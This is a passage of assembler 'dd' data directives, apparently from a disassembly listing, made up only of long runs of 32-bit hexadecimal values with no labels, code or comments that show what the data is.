		dd 8B513F43h, 71FA70h, 5559924h, 7B7517ADh, 2E40B700h
		dd 235E13A8h, 382F7119h, 0AF00C007h, 0DF58CFF9h, 810092ECh
		dd 851A3F1Eh, 9B1EED3h,	5A320A6Ch, 63A04400h, 200AB4Ch
		dd 0C0FAE04Eh, 60208C80h, 21D31152h, 9C008DEBh,	0A5EE930Eh
		dd 43284Ah, 49AB94CFh, 92F0483Eh, 0D518B000h, 8179BCE7h
		dd 941000Ch, 95F13494h,	1700DBDFh, 0B89E752Bh, 305CDA4Fh
		dd 67601984h, 0DF010C98h, 26D515C0h, 0C3FF4111h, 0E346CBBBh
		dd 251C014h, 194562D3h,	612052C1h, 3FFA8C92h, 0E20123EEh
		dd 7D8ABC8Bh, 2C4DC0A0h, 7AD24C03h, 0B30524h, 0F2C55C30h
		dd 5AE0E1DCh, 0A7951D00h, 910F6070h, 0BA24000Bh, 7B417C1h
		dd 730065D1h, 0D3AEC2ACh, 1E84898Ah, 6DF0B0h, 4546D87Ah
		dd 74C7C8C1h, 5F360E79h, 0D01400B9h, 7BD1063h, 50012316h
		dd 3B88249Eh, 0D4015D89h, 0FFC18059h, 0BCDDE5EEh, 38C20024h
		dd 0D4D37928h, 20C0C388h, 0B406499Fh, 51D703DEh, 0BF2653DBh
		dd 2D086903h, 0C665F89Fh, 0B05828F6h, 8112F330h, 0DDA7D140h
		dd 57BC3F00h, 0F55F8D9Ch, 0AB9D0046h, 0D6044ACh, 0B9C324CEh
		dd 1C0140B2h, 5CD90A60h, 71BE1850h, 300CC234h, 0E9430DD1h
		dd 1B22004Bh, 0D0028196h, 0A6710C85h, 490AB4A8h, 6EA8A500h
		dd 124D3EB1h, 0D27C00F1h, 0B8CE3364h, 0A728DD85h, 291CE787h
		dd 0BF178DC9h, 6450DD0Ah, 806348E3h, 9D9817h, 79F1780Dh
		dd 0A1FCC8D0h, 0CC86D10Ch, 0F4177981h, 384C605Eh, 4E0A0384h
		dd 0BB9D0C1Bh, 5E76E821h, 0B0CE0709h, 4096D07Dh, 0C021261h
		dd 58DFE82Ch, 823FAC01h, 898108BBh, 948F6341h, 0DD119E8Ch
		dd 0B2E61501h, 8C40BDF7h, 847C92A6h, 84A58D00h,	6D615F41h
		dd 58130AA4h, 6F54CEE4h, 90ADC5A7h, 0A5143B6h, 0C1B42E54h
		dd 83D18F00h, 0BEA4F86Dh, 9EFA02B0h, 0D28BDDBBh, 5F9B2080h
		dd 0CF052986h, 83591A56h, 0A425700Fh, 7400A609h, 528F952Ah
		dd 569A58C2h, 42A4460Ah, 6163010Bh, 0C26617FCh,	0A82034E1h
		dd 91C40085h, 0B5900D1Fh, 0B401886Fh, 9B3962E5h, 0C4108905h
		dd 4D00E3A3h, 5A30AC59h, 28EF5F19h, 0EA34E9D4h,	0D08F0082h
		dd 62205043h, 80912A34h, 0E4795600h, 9D1A47h, 5AA2FEE5h
		dd 0CDA8878Bh, 0DCEA61C6h, 6C310049h, 0F8795EE7h, 8503435Dh
		dd 466A5BE8h, 0B1C3C04Dh, 0C40200A5h, 0EE354BEh, 0D403F92Eh
		dd 6DD91575h, 5080C47h,	395865F4h, 18BEA00h, 0AA37AD8Ah
		dd 8ED61282h, 175807A9h, 7889D1EBh, 7ECFE40Eh, 2E1B1E0Fh
		dd 0F261C022h, 0E038540Dh, 0C95A6029h, 0D5AC567Bh, 1411E048h
		dd 1DA8CB95h, 40E002E2h, 9E028616h, 90C2E51Ch, 0B278C0DCh
		dd 0D6D400D1h, 0DD5AC529h, 0F9C29605h, 0FFEAFB1Ah, 0A8A1E340h
		dd 0E590601h, 1C03103Ch, 1B647DCh, 0EB9907C8h, 32D52989h
		dd 5E510834h, 0C61035Ch, 3398CEFAh, 26001276h, 8F742A15h
		dd 3FBCE4ABh, 183919EEh, 0B2206700h, 9001C307h,	12790402h
		dd 0E1468C9Dh, 8422C117h, 191A6001h, 0C42A7F6Ah, 70075EA7h
		dd 977752AEh, 29809F47h, 3ACAFCE3h, 5906DB22h, 289B7316h
		dd 8219DD08h, 3E18376Ch, 52250090h, 0A1E40C20h,	21261DAAh
		dd 0C8EA80B0h, 91DDF348h, 4E39B01h, 0F8C26777h,	30C625FCh
		dd 0D5596B42h, 0B901C14Eh, 4F9955EAh, 0C620FED7h, 621C071h
		dd 4AC6E95Bh, 1D63700h,	0F38CA674h, 0AB04066Eh,	0C9EC87B1h
		dd 6231C100h, 89BFB913h, 0E28F0F71h, 0D8C0D1E8h, 0FF836A10h
		dd 0CF068AE0h, 0A0DA439Eh, 0C6741E38h, 4AD84F79h, 4C784240h
		dd 2A00A257h, 6598CAEBh, 1801C2E7h, 68503F20h, 0F8E5DB9Fh
		dd 11C05C48h, 9DF03D63h, 984252C5h, 8A23D400h, 0B1AD014Dh
		dd 54ACC907h, 81A91537h, 0D21FA15Bh, 0F2DAB98Ah, 1C78768h
		dd 49DD10CBh, 0D67F248Eh, 0F578A901h, 72EA5AA8h, 8654C848h
		dd 5F002142h, 0AFB35C17h, 0C9030412h, 215B05F1h, 87F118D7h
		dd 607179EDh, 88ECA600h, 93BA1754h, 0BBA50068h,	0DC7EFBEDh
		dd 67077A22h, 17599140h, 0EA14Ch, 0FCA7F52h, 0B0ADEAA3h
		dd 0B3E40277h, 5382FB00h, 0FA9D9E17h, 0FDFC70h,	0B02A1FC8h
		dd 5A4214D1h, 0F3159C90h, 7A47874h, 80CCA97h, 570A1721h
		dd 2551A850h, 4DCD01A3h, 2B509EE9h, 4058DC30h, 6A1C0C02h
		dd 442C2AF1h, 91200060h, 6234F594h, 1F2ADE54h, 0FE018C83h
		dd 0C27A43F2h, 4C203F8Ch, 2C7492A8h, 0F552A2Bh,	8D0FEF90h
		dd 114D9206h, 555F770Eh, 915D8CDEh, 375C28AAh, 98D20138h
		dd 0E4076AE5h, 0C8A1D2D7h, 80540A4Eh, 0CB33A731h, 2CB86F50h
		dd 7F07D0Dh, 0B0088197h, 0DBD604EFh, 0DAA23F01h, 58121F4Ah
		dd 42E3398Ah, 0D4F50C28h, 0EC74E8D0h, 802C4348h, 0F9C05FF7h
		dd 96B20009h, 4A1F346Eh, 0E72C90EBh, 863CA0AAh,	99879E38h
		dd 2F7DB1h, 1A14EC5Bh, 0E16BF228h, 99C9CF0Eh, 21E4E959h
		dd 3352DD0Ch, 9D7B898Ah, 0FC498994h, 8A88D680h,	0BA000FBEh
		dd 6AF47A8Dh, 0F0A1EAA9h, 879B0310h, 7CFDD51Fh,	9419B4CFh
		dd 7A88308Ch, 5200A923h, 97C6FD92h, 40FCC59h, 0DA9ED3EFh
		dd 0CA7080D2h, 0A8A6DCA5h, 81908748h, 0C077F795h, 392FD0h
		dd 0ED185F02h, 0B44AB709h, 0C4FBBA05h, 0D0202B2Ah, 60EA59BFh
		dd 9C394968h, 0E400261Ch, 425FFD06h, 10FE180h, 0D5519916h
		dd 20E360B1h, 7A098BCFh, 8421A0C3h, 5E7050h, 9A39A792h
		dd 0E816F97Fh, 180981B7h, 0A1880183h, 799ED1F2h, 0F7F1F30Ah
		dd 39D03CB8h, 3A2F8F0Eh, 0E4F2AAE8h, 3F855B1Dh,	7415EADDh
		dd 6F018000h, 60A5A3CAh, 2313D8E5h, 9D2452C0h, 60435C94h
		dd 1C71019Ch, 0A230C48h, 0CB41804Fh, 0E920286Dh, 6F7100C1h
		dd 0C77B33F7h, 0BB032309h, 0E09BAFAAh, 9AD3BFh,	748E6051h
		dd 0FE3D81D8h, 487F6400h, 0D65B21B2h, 14E902D3h, 5362D76Eh
		dd 9057E5C0h, 1C60E490h, 86CF3BB8h, 3EB2AB1h, 0ECC620C4h
		dd 33F6E9E2h, 75CE7C11h, 0E3CC40h, 58A859B8h, 0C1F28367h
		dd 0D1601612h, 491581Ah, 0C240D8FCh, 83F0189Ch,	7A6E0B00h
		dd 4A41991Dh, 6C7C06D7h, 0F9621CDDh, 934FE4Ch, 87D44F2Dh
		dd 6431FC0Eh, 75C1A089h
		dd 0C0AADAE8h, 306DB361h, 5C30A403h, 91D4699Dh,	41DC2C7Ah
		dd 1E6D02FDh, 9040FDB1h, 4419EDAAh, 0C7C8ADFEh,	0C0059820h
		dd 96584EA9h, 0B90C7E2Bh, 0D1A9F39Eh, 9FD040CCh, 4A9B4484h
		dd 657EA701h, 0DC35FE8Eh, 60BC24h, 0AD64098Ah, 8C255499h
		dd 0AF715D00h, 0CAFD7FEEh, 681B4CDDh, 3F1EDEh, 0E40329Ch
		dd 0E90916C9h, 49E356Dh, 962256E0h, 0C8858020h,	1D0E7AF5h
		dd 46E79401h, 21A1CFD5h, 89D4E8E8h, 512260h, 40F54A69h
		dd 4BF3CB2Ah, 0C877EB13h, 90171809h, 0EE54E44h,	0DCB0A4E3h
		dd 0DE006A1h, 43308067h, 99D07B6Dh, 8875ECABh, 0CD76E149h
		dd 21533B03h, 98D1362Bh, 15CABBE2h, 8448751h, 85E7913h
		dd 0FE8154C0h, 0A0BADFFAh, 4BF63FCh, 0FCDAE871h, 0D38731E3h
		dd 0C648C980h, 1878D403h, 5016047Dh, 2704F71Ah,	0A9C47ED7h
		dd 2777D005h, 46D6880h,	6E7B1761h, 85EF00C0h, 3FD5E9D4h
		dd 7A520E71h, 0D1574E4h, 8750Fh, 216CD530h, 60A3FBA1h
		dd 7AE19E8h, 0B0A89B7Ch, 683F1C7Bh, 0A8528230h,	0E07102EBh
		dd 0FE48C9Eh, 31E51D8Ah, 367AFC80h, 67FC5ADAh, 53DDD1C4h
		dd 0BD0A8050h, 1584425h, 100DE635h, 1C446061h, 71A07530h
		dd 0CCDEA4h, 45C7D3Ch, 2211927Ch, 7EC31200h, 76439D77h
		dd 0DE2DE2D4h, 40C42EC9h, 16526396h, 0A3C2C804h, 0C488F0A1h
		dd 95D631D4h, 743F9061h, 5440A08h, 0ED4A474h, 849645Dh
		dd 15C0F520h, 0DE7952ACh, 771E4458h, 0C709E500h, 0A28DF839h
		dd 85410186h, 9520894Fh, 903AE899h, 1D700600h, 2B27DAEAh
		dd 1B0900E7h, 30978B66h, 0E3002E71h, 0E6CEBA5h,	0C9C0E0h
		dd 1C51B642h, 0F2858863h, 1D645F00h, 0D0596FBDh, 1F98000Ch
		dd 67A9E840h, 39000696h, 0E2944381h, 0F3BD23E3h, 442FF4h
		dd 961650E0h, 0DA887FDFh, 6E0067F8h, 9DF4233Dh,	0CA449F6h
		dd 6F3F4A18h, 0B730BE60h, 7F704016h, 0F7C7565h,	3CE3DC4Bh
		dd 6D4DDF83h, 0B922287Bh, 0D2D40017h, 742DF7DAh, 4C004E80h
		dd 337378EAh, 0BC6757h,	20F5723Fh, 0AD61F162h, 53C0390Fh
		dd 139F23B9h, 4E2AE064h, 0B14801EDh, 0DAB36F3Dh, 1EA2ECEBh
		dd 0D13BDF00h, 0B8D78876h, 52B77E9Ah, 7307A834h, 70B21419h
		dd 49A81C80h, 0F05C1601h, 0E9AB6CF5h, 154F3260h, 0A04CF818h
		dd 7DF7261Dh, 0A24D178Fh, 0DF19622Ch, 65216301h, 975080ECh
		dd 3089B0E0h, 3E214EF2h, 7F01E95Ch, 0A0A78B69h,	8048D077h
		dd 42E89Ah, 877640E8h, 0CADAA797h, 6E1B13Eh, 94350608h
		dd 0D3DF00B1h, 0E4D79DD0h, 0C33F3427h, 0C1AA8080h, 0F2EEA84Eh
		dd 0BD28C011h, 2202D330h, 0D60F8875h, 0DDC2868Fh, 7E270A42h
		dd 0FD50C021h, 50747245h, 306BCC26h, 0FA699A96h, 0B901BB7Dh
		dd 0A229A07Ch, 51E090D8h, 0FDE00335h, 869AF869h, 809005E2h
		dd 0ECA86AFFh, 6C001361h, 0E15F439h, 183AA275h,	14D09CB0h
		dd 96186DB4h, 943866ECh, 0B94844DFh, 80BCC530h,	0F97274h
		dd 0BADDB5D0h, 5631FE80h, 9E52A700h, 250BD33Bh,	0A24900F1h
		dd 3F5CFCB7h, 0E51815CFh, 3A40995Bh, 80C9DEC6h,	4241A881h
		dd 8600B707h, 29A21C56h, 0B03DA5h, 0A177C036h, 11F484CEh
		dd 0B1F0DAE2h, 0FF05E300h, 0CAE79A2Eh, 0E210C8Eh, 6FA96823h
		dd 61C5A2F8h, 0B8401226h, 0DA90AF84h, 0E03600EFh, 0A4323197h
		dd 0D5703578h, 69D2AD00h, 1367191Ch, 41C560A9h,	22DDAF46h
		dd 6B7EDB0Ah, 140C099h,	2C4F4DFh, 186541B9h, 0B4914B1Bh
		dd 832E1066h, 25E73855h, 0D916C405h, 0DDA05FCAh, 29629A90h
		dd 18332DF4h, 7F00F7F8h, 0AC63ECh, 5B4C03EDh, 0A83B7CF6h
		dd 560043E8h, 0DD8BB518h, 24BD6FF7h, 80EC27F2h,	0EC49763Dh
		dd 920073CBh, 17F037AEh, 0E39C89h, 50D839C3h, 7B646D3Ah
		dd 0CB94691Ah, 0D1244039h, 83F3000Dh, 6A5A8566h, 0B1FE6984h
		dd 3C248900h, 17615C40h, 8F9D2A6Bh, 80449080h, 6C5120h
		dd 0FF639C4Ah, 3A4D269Ah, 1DA07567h, 0F208C74Fh, 0A95E0350h
		dd 3CE001AFh, 0B561D162h, 5FF98311h, 0C8223F49h, 1D2B7FE8h
		dd 80FABAF0h, 0D4CF6DF5h, 3C3A5610h, 0E7E582D3h, 0A162A811h
		dd 9E34D908h, 1F0099BAh, 1172F712h, 0DB00E2C3h,	5F380FB2h
		dd 0E38F58h, 695426CDh,	19B52EBEh, 892981C0h, 7B1FDA34h
		dd 3DE7B0Bh, 1AAF265Dh,	18C0F18Ah, 4F15D044h, 7F740E9Ah
		dd 39B8AB00h, 821DA745h, 0F0DE504Dh, 0E190A071h, 0B523407Bh
		dd 1A008490h, 1664A6C7h, 8E9B3AE5h, 0A8FC9000h,	0CA2082F1h
		dd 4CDC000Dh, 30181FAAh, 9E0FF9F0h, 0AFD47717h,	9D25014Dh
		dd 1CFDA8E7h, 261E6032h, 56FB4B6Bh, 5170827Fh, 6066BEh
		dd 3B6D78D6h, 1CE7164Fh, 466519C4h, 9C4B30DDh, 8F2FB700h
		dd 161C1FBAh, 0FBA0F100h, 401AC839h, 0F9153918h, 0CAE1FD01h
		dd 20BBAC9Bh, 88993A88h, 0D9D2F01Dh, 0F78B00BFh, 492A5CCCh
		dd 0A9140BB0h, 8F80AFEFh, 0A7842346h, 8E110099h, 8715EAF8h
		dd 58A0F016h, 78004D69h, 0F542168h, 0EA86D067h,	4B490CB9h
		dd 7BE84FFh, 9DC7AA01h,	6DB8C93Fh, 542453F1h, 63362C69h
		dd 861F00C5h, 1527A21h,	3BFA06B0h, 0CAB5F500h, 88C75F35h
		dd 370A19B6h, 136C40C2h, 0B16AD8EEh, 2A4E1EAEh,	0F02FF93h
		dd 0E1AF164h, 0C4276CC2h, 0A2B18CB5h, 0CE996900h, 98777614h
		dd 77FEFAE6h, 4FE9A1DEh, 53015067h, 0ED168521h,	8341BD15h
		dd 8FB7777Bh, 5BBFD0E9h, 0DEFF726Eh, 0DD07C091h, 68B8C1A8h
		dd 7307D1EAh, 9C32B361h, 0DAE42963h, 6AC880AFh,	4C6206CEh
		dd 7C80603Ah, 84F7D2D1h, 0E5B0EF00h, 0F5141641h, 0DFE70E32h
		dd 0D440184Ch, 20E3BC89h, 4DDEF30Bh, 0C81C90B5h, 0AF09018Ah
		dd 3D56CAEFh, 1008A283h, 0FAC18E02h, 0C15E7338h, 0F4489F28h
		dd 0AA86019Dh, 42B7AA7h, 6D66ECBFh, 1C5A5500h, 3E41DB9Bh
		dd 5CA800F0h, 0BFDB04Ah, 4FF0EFD3h, 8125863Fh, 1FDD0E8Eh
		dd 9C524826h, 0D8C5C053h, 785473AAh, 9B14015Ah,	3A1B4385h
		dd 0C4799E93h, 17E1006Ch, 0B1800EB5h, 44625887h, 7A1DBF1Fh
		dd 0D8811AF5h, 0B6262232h, 0A12469A9h, 85EECE94h, 8858A600h
		dd 2D05D2E1h, 269B1124h, 0E8206084h, 2621E9Ch, 7BB96FE3h
		dd 0B2E10FD5h, 0E468244h, 807AC245h, 7D6E64F4h,	0F8627BD5h
		dd 0F179C369h, 0D140CA3Ah, 89248697h, 4269C12h,	20101Fh
		dd 754EE9A2h, 2E44DFB1h, 2F63875h, 58341400h, 6BBAD62Fh
		dd 9887026Eh, 63E090C2h, 98A84623h, 139450E1h, 3664816h
		dd 1BEF1574h, 4218C109h, 4D389061h, 15BF0B24h, 0EC14E7E4h
		dd 82645F00h, 0D608544h, 67ED1363h, 0A24820E5h,	20072BD3h
		dd 0A9F79903h, 80AEB85h, 5839884Fh, 85000E4h, 6DAB2A17h
		dd 0BBD40037h, 0A9EF5D1Ah, 771CBE6Bh, 781860B2h, 1FC8AC1h
		dd 68A4702Dh, 214763FDh, 9C50E617h, 6B04E31Ch, 0BA806583h
		dd 0F8A90B8Dh, 94B08862h, 4AF2EBB3h, 43866712h,	0E8B65803h
		dd 0C395F190h, 0A7A97C0h, 8B343E9Bh, 60102490h,	2FA475B0h
		dd 7663100h, 0EA9716A7h, 0D04E505Ch, 0E061C063h, 0BA02B71Fh
		dd 7DC2B338h, 1A878317h, 13B96031h, 0C5EA9450h,	0DEE2AAh
		dd 844BA03Dh, 21786635h, 0A3E25600h, 0F26C9D15h, 6D2300B4h
		dd 1860DCBCh, 0FA129ADDh, 3C21AD77h, 7040F2A2h,	1D216ECDh
		dd 1673E061h, 6D202026h, 2A04D8F3h, 558E484Ah, 8B93E8DCh
		dd 0F359DA89h, 0FB522A90h, 0BE50F50Ch, 226923h,	946CC907h
		dd 57E24295h, 0EE15C514h
		dd 0C73A1844h, 1ACF549h, 0CA28EF44h, 8ADDA0E3h,	80DE6968h
		dd 5D0E1211h, 1F6032B1h, 0A304E65Fh, 0D200CA70h, 2BC57AD7h
		dd 4CE3BD06h, 4D1DAA34h, 0E80D8044h, 877AEFACh,	1AC1B501h
		dd 0A832A6EEh, 45C36070h, 0ABAC20C6h, 3DCA4A3Eh, 738CCD4Ch
		dd 1542C507h, 900B5786h, 7397970h, 16D2FFBCh, 18CD5380h
		dd 47D650D8h, 132430F9h, 0E2586B88h, 0C9B1003Dh, 72E47871h
		dd 8B1EB15h, 80A43514h,	340CB03Dh, 0BBA20055h, 4D84F23Fh
		dd 10B861E3h, 6031426Eh, 4980C564h, 0AD170B6Eh,	0F402C041h
		dd 1461F750h, 0E161F054h, 40AB0C09h, 5604B065h,	1E637878h
		dd 80DBCDD8h, 0F34C0983h, 0CB17FD71h, 2004D9BAh, 15494D11h
		dd 30702CC9h, 6C44E10Ch, 94B9B9h, 5817EA0Dh, 0D402CC3Ch
		dd 0CA6ACD2Fh, 2CC05366h, 0F81B0A98h, 7EB380A0h, 53E290EFh
		dd 131828A1h, 7894D0BCh, 3B10FC36h, 0EB87201Ah,	0E0885121h
		dd 0B497318Bh, 5D16420Fh, 9A85A09Fh, 7D892Eh, 10DCCC51h
		dd 0C3CE1469h, 5FC96D00h, 4D214419h, 2442EE68h,	3DEC9CDDh
		dd 0B60E6601h, 6FB932D3h, 5FCED1Fh, 6D56CC04h, 2CE137B0h
		dd 18588BCh, 0E2942265h, 508850D4h, 4401DDABh, 0D20DC735h
		dd 0E31B5AFh, 264224F0h, 849471C0h, 4E999FE4h, 808034F7h
		dd 15D28E39h, 15E09C82h, 7C028438h, 1E204225h, 8DBF2082h
		dd 8F54624h, 0BB482047h, 9BCB7A81h, 402893A0h, 4D5AF5F8h
		dd 0FCA41874h, 0CC804891h, 7581BBF2h, 0AC010F51h, 8040AB14h
		dd 5ED06AD9h, 0AD2495F0h, 884FD443h, 4669811Ch,	61F504E4h
		dd 0CF704CFCh, 0C40B7A0Fh, 540900D9h, 4FF0529h,	6BCFD56h
		dd 34B8C0A9h, 0D0D6F761h, 245C8C10h, 88403425h,	3AB9FAFh
		dd 8476625Eh, 79F07B18h, 8B3CDD26h, 0B0A11E6Fh,	58EF1781h
		dd 0E0314342h, 0DAE48400h, 0AB3A80BCh, 8901A492h, 0AF759604h
		dd 3530782Ch, 1922007Fh, 4AB865A9h, 0E3129906h,	900FC860h
		dd 0CC45AA18h, 4C07AF97h, 2888F78Bh, 376300A8h,	86A0EEFFh
		dd 96164718h, 20223AA2h, 0B5ACA71Fh, 7B66C3A0h,	0EC264C69h
		dd 7361A80h, 38C257C6h,	24864992h, 288494Ch, 656DCCACh
		dd 0CD0C00F4h, 0BADB24D5h, 0AABB693Bh, 0FA1080A4h, 0F4888666h
		dd 0E182B0ABh, 99F24E58h, 0BC482794h, 0B586186Ah, 3D9A110Dh
		dd 0EA002BF2h, 2E732497h, 894913h, 0E9E43EC2h, 7C4DB2BBh
		dd 64D33B18h, 807014E1h, 9209ABDCh, 0B728FFh, 0B365FC9Dh
		dd 0D9930218h, 77604A26h, 753F6444h, 1E7B81F7h,	765F1C40h
		dd 186D5882h, 7C70C94Ah, 0FB0064B9h, 0B114CD60h, 0A9CE1EABh
		dd 0D62E8186h, 41791D54h, 116A42E0h, 4072694Ah,	9C20B527h
		dd 71A93B5Dh, 0C749B403h, 0E814A331h, 25BFB67h,	0BF0AB7BEh
		dd 8490D78Ch, 620083B4h, 113BF3D5h, 0BA0AD8h, 0C626955Eh
		dd 0A4EEEB87h, 0BCDCBE14h, 16C3028Ch, 52B8F756h, 0A2D10018h
		dd 32AE4971h, 0C701589Fh, 0B5A901B2h, 68D867F2h, 0E6153E04h
		dd 95F8214Eh, 40B9116Fh, 8065C714h, 0D428710Dh,	4724F00h
		dd 0E2A21A86h, 0DFB500C2h, 9C50E7F7h, 8451902Eh, 0C18C60B0h
		dd 0FC13464Eh, 9B93E030h, 0E8BA0548h, 49AF6A5h,	2266AE9Ch
		dd 11F42A55h, 76FB4C17h, 0F8944D24h, 29E09715h,	0DA39ACEEh
		dd 11549020h, 563A0023h, 2697B60Fh, 6A24C24Dh, 71436870h
		dd 5206FF58h, 0FD820011h, 18FC743Ch, 0EF2516A9h, 1C0DDEC8h
		dd 5D04C480h, 70908227h, 4A24B520h, 0F508315Ah,	1168E588h
		dd 1439C23Ah, 0C054B00h, 66E2AD1Ch, 2B190800h, 18E3F7DAh
		dd 58DF4D13h, 74409C80h, 1A1C3C99h, 2000FE4Bh, 6189147Dh
		dd 6BD60137h, 75B6E4E8h, 268038B2h, 0FF440855h,	72F888h
		dd 58D72E45h, 253B35C6h, 0A9A13403h, 0C9502147h, 2C72986Eh
		dd 804A6505h, 0B1828296h, 72E0AC82h, 51204C0Eh,	0BF340F1Ch
		dd 0FDE7CA76h, 98DF10E2h, 5B026AB7h, 0CF0B04E0h, 0B8306B67h
		dd 0F855E3Fh, 882D1879h, 0ECE7C7A0h, 711CBBEFh,	7E4AE4C2h
		dd 0AE116076h, 0E7000C53h, 792D38C3h, 7C043B74h, 0C62CE3C9h
		dd 24901949h, 0AA70DFAFh, 0E67880F7h, 3D1B07D6h, 26D0A813h
		dd 0AC0F54CCh, 4F4C0049h, 9BD0DF51h, 2704ABCBh,	7A89E444h
		dd 6A1E3C81h, 61C02A08h, 9690F75Ah, 5B68985Fh, 78D84026h
		dd 0BA8E9AFAh, 4431F314h, 0B6F70048h, 0BB6C7987h, 0D460581Ah
		dd 156E6509h, 695060E4h, 80A666E0h, 52947C44h, 0B918E0EEh
		dd 41613114h, 0F20DC600h, 0FB4FD056h, 0EADD0443h, 0C03CB690h
		dd 0C75101A0h, 84046A28h, 79E3FB02h, 721418B1h,	7BE486F0h
		dd 0C5920789h, 0D06A817Ch, 1F880255h, 69FBE604h, 6887A5D9h
		dd 29220114h, 82256622h, 0FAAD0C4h, 0ED47F460h,	2E005D09h
		dd 767B3074h, 8557BCh, 0CD10827Fh, 61DC36F3h, 41AFA200h
		dd 0E5DF63C0h, 7D687A1Dh, 2A530E7Eh, 8BA0AE26h,	0DD0D8E17h
		dd 2590C300h, 0D47CA3ADh, 6DDB28A5h, 2A1A43D0h,	78A6C483h
		dd 3DA0D01h, 0FB62E554h, 48ECCCh, 581F076Dh, 354FE09Dh
		dd 38EFBF44h, 0FB0066EBh, 0CE150884h, 1098C79h,	48EE1659h
		dd 0FDF28528h, 0D88009D2h, 849EB1C8h, 9CBE2F00h, 0F7D0432Bh
		dd 802090EAh, 88CAE88Ch, 0B1FEB67h, 0AA006FD1h,	8BE268C2h
		dd 85040921h, 2CE4A26Bh, 8C14B312h, 660E4048h, 2607E152h
		dd 318212EDh, 0D842BC93h, 48908172h, 762C4C17h,	922697F4h
		dd 1260C7D0h, 0CA004EE3h, 0F8CBE2DEh, 3DF4DF2h,	0FC9F2F70h
		dd 6FC26BC2h, 7565D448h, 16618005h, 54D4C4F8h, 0CF00B8E2h
		dd 2BFB15Ch, 280013E6h,	0DC7B1045h, 474E7FEh, 0A1B354Eh
		dd 56E882A4h, 0FA12C219h, 91B08C82h, 548B7A24h,	0BEC16B0Dh
		dd 2670h, 1563CC4Bh, 4B13567Ch,	866C20BAh, 0AA0F10ABh
		dd 0C0FE9FF7h, 57856945h, 0A04C288Ch, 84CA79A4h, 504C5342h
		dd 3FEDFF01h, 40EE93CFh, 0F4BCE828h, 1280E313h,	0D030C413h
		dd 398441A7h, 5CD8CFCDh, 64C7AF00h, 0ECDA23B7h,	163DFB3Ah
		dd 8CCF112h, 6886099Bh,	0A6844299h, 1544C840h, 9619E222h
		dd 0B45E404Ch, 0EB06C865h, 0E2EA9A7Ch, 32C643C0h, 0E0BEA989h
		dd 84430E98h, 0BCDFE511h, 5C197B02h, 0C4824D6h,	12893C6Ah
		dd 0DAB1810h, 7D0055F6h, 2C0B48FFh, 0E2B84Dh, 70B2B05Fh
		dd 52BA3275h, 8254C74Ch, 0F179E422h, 3B720038h,	43204F60h
		dd 9F09C502h, 0C61CD02Eh, 64584CF0h, 5F65CA84h,	28239B12h
		dd 0A2E010F6h, 8FF58866h, 0E981F226h, 41C225C0h, 36EC8C8h
		dd 8C08D0B1h, 0BE100E40h, 94843D64h, 5068C8E1h,	5DF7E30Bh
		dd 875090B5h, 9B2A1D02h, 4FD54BA5h, 8E68448Fh, 0D217480h
		dd 1D3D69D7h, 397266A5h, 0BE737D07h, 0C06A4770h, 7AEA1C92h
		dd 8C386F00h, 0EE326E9Fh, 3A21C7C4h, 7240FCF0h,	3E41F8F8h
		dd 8948F0h, 53D2BF60h, 0D5B476EBh, 4D1351C6h, 2C727508h
		dd 0C23ADBh, 0B03E4BD8h, 83F03916h, 12B65F00h, 97B2BF80h
		dd 1378C63Fh, 7A003927h, 0B66D03C3h, 9855B1h, 49B87F51h
		dd 20365DD7h, 1C879600h, 6D6A18D8h, 0F5F61Bh, 22580E72h
		dd 0D7D02B69h, 9873E100h, 84DC9A78h, 9CF9C274h,	0C080A0C7h
		dd 0BA56C91Fh, 6EA5B30Ch, 992175h, 0CBE2704h, 0E932AC57h
		dd 0D8D0ABEEh, 0EA2E00E8h, 0F21C510Bh, 7CFB30B2h, 0F43343B8h
		dd 986EAE2Ah, 30EE2522h, 89597084h, 5A011F92h, 0FE0591Ah
		dd 0F1E4671Ch, 25FCF8h,	0ABD4C69Ch, 3F20047Ah, 0A4DB3300h
		dd 98FB1DC8h, 8A3D809Bh
		dd 90A51F00h, 8BD1448Ch, 641800D9h, 0C55A1E91h,	1500E338h
		dd 98312CA4h, 54270658h, 63BB64B2h, 3026A1AAh, 0E21D00A4h
		dd 196CB988h, 6973952Dh, 802CEC99h, 452F3506h, 1F1E9C8h
		dd 9F8BE0E3h, 0C45A158Eh, 4F00D77Bh, 0F91D61B6h, 2CE33585h
		dd 7348A6h, 0BCB2001h, 0A81525F1h, 0F843D84h, 20D4671Dh
		dd 3314D657h, 0A61F0C87h, 9D213B61h, 58A4AD54h,	0B92AF00h
		dd 34FAB805h, 657300DCh, 0DE4EEA8Dh, 0F30C9E7Eh, 0D998491Ch
		dd 7AF20E3Dh, 0DDA01085h, 0FCBD120Fh, 1F25D30Ah, 0C29088F4h
		dd 271F3C4h, 0C0613948h, 0C8EB4CC1h, 9A807250h,	70329378h
		dd 0B85F00C1h, 398E51CFh, 1EF2F8D8h, 0A70FE10Ch, 360F848h
		dd 76D4E992h, 41158DB7h, 0B43413h, 86796F4Ch, 1323E01h
		dd 1D736663h, 0F089A3D5h, 50AE729h, 50C62707h, 45895898h
		dd 78B22AA5h, 0B4A20090h, 5B6E4C27h, 0F3141DACh, 80E8137Eh
		dd 84A29AE2h, 0B4A0036h, 9BF0F12Dh, 921D3E23h, 2468CD20h
		dd 0E0B27500h, 21B462D0h, 9F601CC0h, 2163D8A5h,	1CB83A4Ah
		dd 0F522FCA4h, 61C0023Fh, 9BCB278Dh, 327B0C48h,	0F8B78490h
		dd 7E330017h, 2B41666Eh, 51C46D21h, 64882C73h, 581D0A92h
		dd 40DC9D95h, 8EC8BA99h, 1F01E700h, 0D0E98F44h,	2060EB07h
		dd 0E1906627h, 2F2470D4h, 130C44EAh, 0FA23A1E5h, 1B7C0344h
		dd 89C6C933h, 34DF8880h, 2C160A00h, 715E5673h, 0C0383C0Ch
		dd 2670E100h, 33CFBCDAh, 0C8D32B01h, 5D32F240h,	65D98C42h
		dd 73E98888h, 60A61D06h, 9055F091h, 946212Ch, 6AB1008h
		dd 2933F13Ah, 0D00080A6h, 85DCBF1Ah, 505F0860h,	4484E8B3h
		dd 9902F83Bh, 4D46B2C1h, 1058E2A5h, 3F1EFCh, 0C373E4F1h
		dd 67C01C44h, 91F08F0Fh, 1AD300ECh, 55EA3338h, 1830D450h
		dd 9DFE130Fh, 0DE482010h, 1F3DB349h, 1C5B818Dh,	0BB71E691h
		dd 0ED0441D6h, 9D88310Ch, 1C892A0h, 6DB8656h, 308FB342h
		dd 36446BDCh, 226944E8h, 7030400Eh, 7C15BCB9h, 0A0C57480h
